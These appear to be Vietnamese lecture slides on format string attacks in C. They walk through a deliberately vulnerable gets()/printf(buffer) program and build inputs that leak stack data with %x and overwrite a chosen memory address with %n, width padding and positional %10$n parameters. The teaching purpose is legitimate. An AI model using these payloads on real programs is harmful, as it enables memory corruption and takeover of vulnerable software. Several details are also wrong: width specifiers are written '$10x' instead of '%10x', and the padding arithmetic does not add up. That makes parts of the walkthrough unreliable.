Chuỗi định dạng

  • 27 trang
  • file: .pdf

đang tải dữ liệu....

Tài liệu bị giới hạn, để xem hết nội dung vui lòng tải về máy tính.

Tải xuống - 27 trang

Nội dung text: Chuỗi định dạng

Chuỗi định dạng
● Hàm printf() có dạng
● printf(const char *format, …)
● Nếu gọi printf(“Hello”);
● Hello
● Nếu gọi printf(“1%”);
● 1%
● Nếu gọi printf(“1%%”);
● 1%
Chuỗi định dạng
● → Dấu % có ý nghĩa đặc biệt
● % đánh dấu sự bắt đầu của một yêu cầu định
dạng
● Yêu cầu định dạng tận cùng bởi ký tự định
dạng
Chuỗi định dạng
● % in ra ký tự %
● c in tham số thứ nhất như một ký tự
● x in tham số thứ nhất ở dạng thập lục
● X in tham số thứ nhất ở dạng THẬP LỤC
● s in chuỗi được chỉ tới bởi tham số thứ nhất
● n ghi vào ô nhớ có địa chỉ xác định bởi tham số
thứ nhất số lượng ký tự đã in, 4 byte
● hn giống n nhưng chỉ ghi 2 byte
Chuỗi định dạng
● printf(“%c %X”, 0x87654321,
0x12345678)
● ! 12345678
● printf(“%x %X”, 0x6789ABCD,
0x6789ABCD)
● 6789abcd 6789ABCD
● printf(“%s”, “1%%”)
● 1%%
Chuỗi định dạng
● int cookie = 0
printf(“12345678%n”, &cookie)
● 12345678
● int cookie = 0
printf(“1234%n5678”, &cookie)
● 12345678
● Sau lệnh printf() đầu tiên, cookie = 8
● Sau lệnh printf() thứ hai, cookie = 4
Chuỗi định dạng
● Xét ví dụ:
● int main()
{
char buffer[512];
int cookie = 0;
gets(buffer);
printf(buffer);
}
● Chương trình nhận một chuỗi qua gets(), và
truyền chính chuỗi đó làm tham số thứ nhất của
printf()
Chuỗi định dạng
● Nhập vào abcdef
● abcdef
● Nhập vào %x
● 0
● Nhập vào %x %x %x %x
● 0 0 0 6
Chuỗi định dạng
● Xét trường hợp
● printf(“%x %x %x %x”, 1, 2, 3, 4);
● PUSH 4
PUSH 3
PUSH 2
PUSH 1
PUSH format
CALL printf
Chuỗi định dạng
● Xét trường hợp
● printf(“%x %x %x %x”);
● PUSH format
CALL printf
Chuỗi định dạng
Chuỗi định dạng
● Nhập vào %x %x %x %x %x %x %x %x %x
%x %x %x
● 0 0 0 6 b7ead8e0 fffff 51 0 0 25207825
78252078 20782520
● Chúng ta gặp lại dữ liệu nhập → Có thể kiểm
soát tham số của hàm printf()
● Dữ liệu nhập bắt đầu từ tham số thứ 10
● Giả sử địa chỉ cookie là BFFFF854
Chuỗi định dạng
Chuỗi định dạng
● Để gán 0x64 vào cookie
● [địa chỉ cookie]%x%x%x%x%x%x%x%x%x[...]%n
● [địa chỉ cookie] in ra 4 byte
\x54\xF8\xFF\xBF
● 9 %x in ra 21 byte 0006b7ead8e0fffff5100
● Để in ra tổng cộng 100 ký tự ta cần thêm 100 –
21 – 4 = 75 ký tự
● Vậy […] sẽ là 75 ký tự
Chuỗi định dạng
● Để gán 0x100 vào cookie
● [địa chỉ cookie]%x%x%x%x%x%x%x%x%x[...]%n
● [địa chỉ cookie] in ra 4 byte
\x54\xF8\xFF\xBF
● 9 %x in ra 21 byte 0006b7ead8e0fffff5100
● Để in ra tổng cộng 256 ký tự ta cần thêm 256 –
21 – 4 = 231 ký tự
● Vậy […] sẽ là 231 ký tự
Chuỗi định dạng
● Để gán 0x300 vào cookie
● [địa chỉ cookie]%x%x%x%x%x%x%x%x%x[...]%n
● [địa chỉ cookie] in ra 4 byte
\x54\xF8\xFF\xBF
● 9 %x in ra 21 byte 0006b7ead8e0fffff5100
● Để in ra tổng cộng 0x300 ký tự ta cần thêm
0x300 – 21 – 4 = ... ký tự
● Vậy […] sẽ là ... ký tự → tràn biến buffer
Chuỗi định dạng
● Để gán 0x300 vào cookie, ta phải nhập vào ít
hơn, nhưng vẫn đảm bảo in ra đủ 0x300 ký tự
● Tùy chọn độ dài tối thiểu là một số nguyên
dương, không bắt đầu bằng số 0, nằm giữa dấu
% và ký tự định dạng
● $10x → in số thập lục rộng tối thiểu 10 ký tự
● $2x → in số thập lục rộng tối thiểu 2 ký tự
● lớn hơn 0xFF → cần nhiều hơn 2 ký tự → 0 kiểm
soát được
● → luôn sử dụng tối thiểu là độ rộng tối đa cần thiết
(ví dụ $8x vì không số nào cần nhiều hơn 8 ký tự)
Chuỗi định dạng
● 4 byte địa chỉ
● 8 yêu cầu %8x
● 0x300 – 4 – 4 * 8 = 700 → yêu cầu %700x
● Và yêu cầu %n
● Tổng số ký tự nhập vào là 4 + 8 * 3 + 5 + 2 = 23
ký tự
Chuỗi định dạng
● 4 byte địa chỉ và 1 yêu cầu %764x đã in ra đủ
0x300 ký tự
● Làm sao để ép yêu cầu %n nhận tham số thứ
10 thay vì tham số thứ 2
● Tùy chọn vị trí tham số là một số nguyên dương
đi ngay sau ký tự % và kết thúc bằng ký tự $
● %10$n sẽ ép yêu cầu %n sử dụng tham số thứ
10
● %24$8x sẽ in giá trị của tham số thứ 24 ở dạng
thập lục với độ rộng tối thiểu là 8 ký tự
Chuỗi định dạng
● Để cookie = 0x87654321
● Không thể in hơn 2 tỷ ký tự!
● Nhận xét rằng 0x87654321 gồm 4 byte 21, 43,
65, 87
● Thay vì ghi một lần, chúng ta có thể ghi tuần tự
4 lần
● 4 lần ghi → 4 địa chỉ → đã in 0x10 ký tự
● Số đầu là 0x21 → cần thêm 0x11 ký tự đệm
● Số hai là 0x43 → cần thêm 0x22 ký tự đệm
● ...
Chuỗi định dạng
● Để cookie = 0x12345678
● Hai câu hỏi:
● 78, 56, 34, 12 → ghi 12 trước, 34 sau...?
● Làm sao để từ 78 thành 56?
● Khi ghi vào bộ nhớ, 4 byte sẽ được ghi cùng
một lúc → lần ghi sau sẽ đè lên lần ghi trước
● → nếu ghi ở địa chỉ cao trước thì khi ghi ở địa chỉ
thấp sẽ đè lên giá trị đã ghi ở địa chỉ cao
● → vì lần ghi sau ở địa chỉ cao đè lên lần ghi trước ở
địa chỉ thấp hơn nên chúng ta chỉ quan tâm đến các
byte thấp → 0x156 hay 0x256 đều đem lại 0x56